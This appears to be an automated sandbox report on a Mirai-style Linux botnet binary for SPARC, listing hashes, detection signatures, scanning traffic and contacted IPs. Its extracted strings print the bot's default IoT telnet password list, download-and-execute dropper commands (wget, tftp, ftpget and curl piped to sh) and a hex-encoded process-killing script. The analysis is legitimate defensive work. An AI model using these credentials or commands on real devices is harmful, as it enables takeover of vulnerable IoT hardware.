Linux Analysis Report
la.bot.sparc.elf

Overview

General Information

Sample name: la.bot.sparc.elf
Analysis ID: 1541789
MD5: 0e7562ae65311efed0217a89a1808868
SHA1: adde1c3e65da2ae9f101ba7bed6b25fcc8d185be
SHA256: 33a38892bc64ed0113002b79aa6be44c9b9539aaf446e8299fc61d4c05c700c5
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 64
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Uses known network protocols on non-standard ports
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Reads system version information
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.sparc.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: la.bot.sparc.elf ReversingLabs: Detection: 34%
Found strings indicative of a multi-platform dropper
Source: la.bot.sparc.elf String: ash|login|wget|curl|tftp|ntpdate
Source: la.bot.sparc.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.sparc.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate/mountinfo
Source: la.bot.sparc.elf String: /fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/ash|login|wget|curl|tftp|ntpdate|ftp/maps/lib//proc/self/exe/dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppd
Source: la.bot.sparc.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/tmp//var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 103.253.147.242 ports 23789,2,3,7,8,9
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 59072
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.13:33612 -> 103.253.147.242:23789
Sample listens on a socket
Source: /tmp/la.bot.sparc.elf (PID: 5708) Socket: 127.0.0.1:1234 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 223.89.109.58
Source: unknown TCP traffic detected without corresponding DNS query: 223.89.109.58
Source: unknown TCP traffic detected without corresponding DNS query: 90.51.239.234
Source: unknown TCP traffic detected without corresponding DNS query: 90.51.239.234
Source: unknown TCP traffic detected without corresponding DNS query: 17.127.187.172
Source: unknown TCP traffic detected without corresponding DNS query: 70.65.93.123
Source: unknown TCP traffic detected without corresponding DNS query: 17.127.187.172
Source: unknown TCP traffic detected without corresponding DNS query: 36.196.59.11
Source: unknown TCP traffic detected without corresponding DNS query: 70.65.93.123
Source: unknown TCP traffic detected without corresponding DNS query: 213.161.202.225
Source: unknown TCP traffic detected without corresponding DNS query: 36.196.59.11
Source: unknown TCP traffic detected without corresponding DNS query: 89.105.186.75
Source: unknown TCP traffic detected without corresponding DNS query: 213.161.202.225
Source: unknown TCP traffic detected without corresponding DNS query: 9.243.54.0
Source: unknown TCP traffic detected without corresponding DNS query: 89.105.186.75
Source: unknown TCP traffic detected without corresponding DNS query: 9.243.54.0
Source: unknown TCP traffic detected without corresponding DNS query: 51.241.82.216
Source: unknown TCP traffic detected without corresponding DNS query: 51.241.82.216
Source: unknown TCP traffic detected without corresponding DNS query: 200.65.61.122
Source: unknown TCP traffic detected without corresponding DNS query: 89.44.187.20
Source: unknown TCP traffic detected without corresponding DNS query: 200.65.61.122
Source: unknown TCP traffic detected without corresponding DNS query: 120.23.232.112
Source: unknown TCP traffic detected without corresponding DNS query: 89.44.187.20
Source: unknown TCP traffic detected without corresponding DNS query: 71.156.27.88
Source: unknown TCP traffic detected without corresponding DNS query: 120.23.232.112
Source: unknown TCP traffic detected without corresponding DNS query: 83.14.157.13
Source: unknown TCP traffic detected without corresponding DNS query: 71.156.27.88
Source: unknown TCP traffic detected without corresponding DNS query: 81.21.201.7
Source: unknown TCP traffic detected without corresponding DNS query: 185.198.65.115
Source: unknown TCP traffic detected without corresponding DNS query: 83.14.157.13
Source: unknown TCP traffic detected without corresponding DNS query: 145.183.165.143
Source: unknown TCP traffic detected without corresponding DNS query: 81.21.201.7
Source: unknown TCP traffic detected without corresponding DNS query: 185.198.65.115
Source: unknown TCP traffic detected without corresponding DNS query: 209.131.231.255
Source: unknown TCP traffic detected without corresponding DNS query: 145.183.165.143
Source: unknown TCP traffic detected without corresponding DNS query: 118.1.226.165
Source: unknown TCP traffic detected without corresponding DNS query: 214.4.157.209
Source: unknown TCP traffic detected without corresponding DNS query: 209.131.231.255
Source: unknown TCP traffic detected without corresponding DNS query: 173.161.136.51
Source: unknown TCP traffic detected without corresponding DNS query: 118.1.226.165
Source: unknown TCP traffic detected without corresponding DNS query: 87.133.151.6
Source: unknown TCP traffic detected without corresponding DNS query: 214.4.157.209
Source: unknown TCP traffic detected without corresponding DNS query: 145.207.69.211
Source: unknown TCP traffic detected without corresponding DNS query: 173.161.136.51
Source: unknown TCP traffic detected without corresponding DNS query: 71.130.9.62
Source: unknown TCP traffic detected without corresponding DNS query: 87.133.151.6
Source: unknown TCP traffic detected without corresponding DNS query: 145.207.69.211
Source: unknown TCP traffic detected without corresponding DNS query: 71.117.172.36
Source: unknown TCP traffic detected without corresponding DNS query: 71.130.9.62
Source: unknown TCP traffic detected without corresponding DNS query: 147.195.253.229
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.sparc.elf String found in binary or memory: http:///curl.sh
Source: la.bot.sparc.elf String found in binary or memory: http:///wget.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/tmp//var//var/
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.sparc.elf (PID: 5718) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) SIGKILL sent: pid: 1692, result: successful Jump to behavior
Source: classification engine Classification label: mal64.troj.linELF@0/0@2/0
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/238/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/239/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/914/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/917/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/19/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/240/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/241/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/242/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/244/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/245/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/246/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/5/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/247/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/7/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/129/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/8/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/802/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/803/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/490/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/371/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/131/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/134/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/378/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/816/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/142/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/145/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5718) File opened: /proc/267/fd Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /usr/lib/snapd/snap-failure (PID: 5828) Systemctl executable: /usr/bin/systemctl -> systemctl stop snapd.socket Jump to behavior
Reads system version information
Source: /usr/lib/snapd/snap-failure (PID: 5814) Reads version info: /proc/version Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 59072
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.sparc.elf (PID: 5708) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.sparc.elf, 5708.1.00007ffd93b6b000.00007ffd93b8c000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/la.bot.sparc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.sparc.elf
Source: la.bot.sparc.elf, 5708.1.000055e0dc67a000.000055e0dc706000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sparc
Source: la.bot.sparc.elf, 5708.1.000055e0dc67a000.000055e0dc706000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/sparc
Source: la.bot.sparc.elf, 5708.1.00007ffd93b6b000.00007ffd93b8c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sparc
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
160.212.192.13
 unknown United States
13333 CCI-PA-AS-1US false
58.234.32.204
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
124.48.199.255
 unknown Korea Republic of
17858 POWERVIS-AS-KRLGPOWERCOMMKR false
209.33.98.68
 unknown United States
20115 CHARTER-20115US false
49.37.29.162
 unknown India
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
75.186.5.76
 unknown United States
10796 TWC-10796-MIDWESTUS false
30.94.148.212
 unknown United States
7922 COMCAST-7922US false
66.169.57.74
 unknown United States
20115 CHARTER-20115US false
152.133.192.189
 unknown United States
29992 VA-TMP-COREUS false
49.58.147.159
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
55.41.157.132
 unknown United States
353 DNIC-ASBLK-00306-00371US false
143.247.216.91
 unknown United States
600 OARNET-ASUS false
31.16.30.21
 unknown Germany
31334 KABELDEUTSCHLAND-ASDE false
170.160.84.247
 unknown United States
11685 HNBCOL-ASUS false
171.139.96.227
 unknown United States
9874 STARHUB-MOBILEStarHubLtdSG false
121.11.64.135
 unknown China
58543 CHINATELECOM-GUANGDONG-IDCGuangdongCN false
165.231.64.242
 unknown Seychelles
48950 GLOBALCOLOCATIONGB false
28.190.118.79
 unknown United States
7922 COMCAST-7922US false
110.155.6.208
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
143.7.212.101
 unknown United States
11003 PANDGUS false
70.77.213.174
 unknown Canada
6327 SHAWCA false
179.250.94.133
 unknown Brazil
26615 TIMSABR false
162.102.236.64
 unknown United States
33274 ASN-FAIRVIEWHEALTHSERVICESUS false
205.185.50.239
 unknown United States
7029 WINDSTREAMUS false
212.176.121.212
 unknown Russian Federation
2854 ROSPRINT-ASRU false
201.58.44.201
 unknown Brazil
7738 TelemarNorteLesteSABR false
138.189.215.70
 unknown Switzerland
12511 CH-POSTNETZPostCHAGCH false
16.177.36.35
 unknown United States
unknown unknown false
73.226.46.255
 unknown United States
7922 COMCAST-7922US false
26.189.107.253
 unknown United States
7922 COMCAST-7922US false
88.241.107.48
 unknown Turkey
9121 TTNETTR false
189.170.171.213
 unknown Mexico
8151 UninetSAdeCVMX false
167.173.80.156
 unknown United States
394401 HEARST-DC4US false
133.41.35.222
 unknown Japan 2506 SUPERCSINTTWESTCHUGOKUCORPORATIONJP false
69.222.230.133
 unknown United States
7018 ATT-INTERNET4US false
94.59.56.201
 unknown United Arab Emirates
5384 EMIRATES-INTERNETEmiratesInternetAE false
120.250.201.129
 unknown China
56040 CMNET-GUANGDONG-APChinaMobilecommunicationscorporation false
69.74.50.10
 unknown United States
6128 CABLE-NET-1US false
87.218.67.162
 unknown Spain
12479 UNI2-ASES false
170.189.5.151
 unknown United States
47090 SCLHS-47090US false
33.144.102.86
 unknown United States
2686 ATGS-MMD-ASUS false
200.23.86.137
 unknown Mexico
264695 MUNICIPALIDADDEJUNINAR false
176.149.9.233
 unknown France
5410 BOUYGTEL-ISPFR false
13.18.83.132
 unknown United States
26662 XEROX-WVUS false
32.133.219.194
 unknown United States
2686 ATGS-MMD-ASUS false
124.31.169.39
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
66.186.165.61
 unknown United States
21547 OXNETUS false
3.226.118.153
 unknown United States
14618 AMAZON-AESUS false
120.69.195.238
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
120.174.43.137
 unknown Indonesia
4761 INDOSAT-INP-APINDOSATInternetNetworkProviderID false
179.171.252.5
 unknown Brazil
26599 TELEFONICABRASILSABR false
21.62.82.78
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
189.177.62.114
 unknown Mexico
8151 UninetSAdeCVMX false
43.229.194.233
 unknown China
38532 USONYX-AS-APUSONYXPTELTDSG false
139.4.86.182
 unknown Germany
702 UUNETUS false
17.62.173.122
 unknown United States
714 APPLE-ENGINEERINGUS false
58.194.188.64
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
50.114.57.129
 unknown United States
31715 ABTME-ASUS false
130.26.141.126
 unknown India
367 DNIC-ASBLK-00306-00371US false
171.138.120.34
 unknown United States
9874 STARHUB-MOBILEStarHubLtdSG false
138.230.175.75
 unknown United States
12980 EMEAHostingAutonomousSystemEU false
133.176.59.98
 unknown Japan 385 AFCONC-BLOCK1-ASUS false
75.159.38.87
 unknown Canada
852 ASN852CA false
101.83.13.184
 unknown China
4812 CHINANET-SH-APChinaTelecomGroupCN false
122.134.217.71
 unknown Japan 2518 BIGLOBEBIGLOBEIncJP false
99.188.69.125
 unknown United States
7018 ATT-INTERNET4US false
119.169.248.136
 unknown Japan 9824 JTCL-JP-ASJupiterTelecommunicationCoLtdJP false
188.56.166.192
 unknown Turkey
16135 TURKCELL-ASTurkcellASTR false
45.127.206.119
 unknown Indonesia
55699 STARNET-AS-IDPTCemerlangMultimediaID false
8.145.236.36
 unknown Singapore
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
33.215.156.135
 unknown United States
2686 ATGS-MMD-ASUS false
58.207.174.160
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
104.149.164.41
 unknown United States
40676 AS40676US false
11.53.55.100
 unknown United States
3356 LEVEL3US false
119.117.83.207
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
148.229.251.51
 unknown Mexico
32098 TRANSTELCO-INCUS false
103.255.187.249
 unknown China
